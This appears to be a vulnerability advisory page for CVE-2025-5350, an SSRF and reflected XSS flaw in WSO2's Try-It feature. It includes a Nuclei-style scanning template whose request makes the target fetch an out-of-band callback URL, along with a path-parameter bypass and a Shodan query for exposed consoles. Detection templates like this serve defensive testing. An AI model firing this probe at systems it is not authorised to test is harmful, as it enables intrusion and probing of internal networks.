CVE-2025-5350: WSO2 - Server Side Request Forgery

2026-04-16 WSO2 PoC Public

Description

WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services.

PoC

id: CVE-2025-5350

info:
  name: WSO2 - Server Side Request Forgery
  author: Sourabh Grover
  severity: medium
  description: |
    WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services.
  impact: |
    Attackers can execute arbitrary JavaScript in admin browsers and perform internal network requests, risking UI manipulation, data exfiltration, and internal service enumeration.
  remediation: |
    Remove or secure the deprecated Try-It feature and validate user-supplied URLs properly; update to the latest product versions with fixes.
  reference:
    - https://crnkovic.dev/wso2-server-side-request-forgery/
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2025-5350
    epss-score: 0.00574
    epss-percentile: 0.45896
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.title:"WSO2 Management Console"
  tags: cve,cve2025,ssrf,wso2,carbon,oast,oob

variables:
  cb_url: "http://{{interactsh-url}}/"
  uri_b64: "{{base64(cb_url)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;b=.jar?uri={{uri_b64}}&pattern=%7E&username=%7E&password=%7E&payload=%7E"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
          - 'contains(body, "AxisFault")'
        condition: and
# digest: 4b0a00483046022100b3c91c8c497f6d234715ff9fa3b723da087789356ad3d3d35ff58268a7eba6f3022100bfe1ae365c46dc96b8bd435c7b0220d07b402c69c59253b011feb7aed01c58a6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities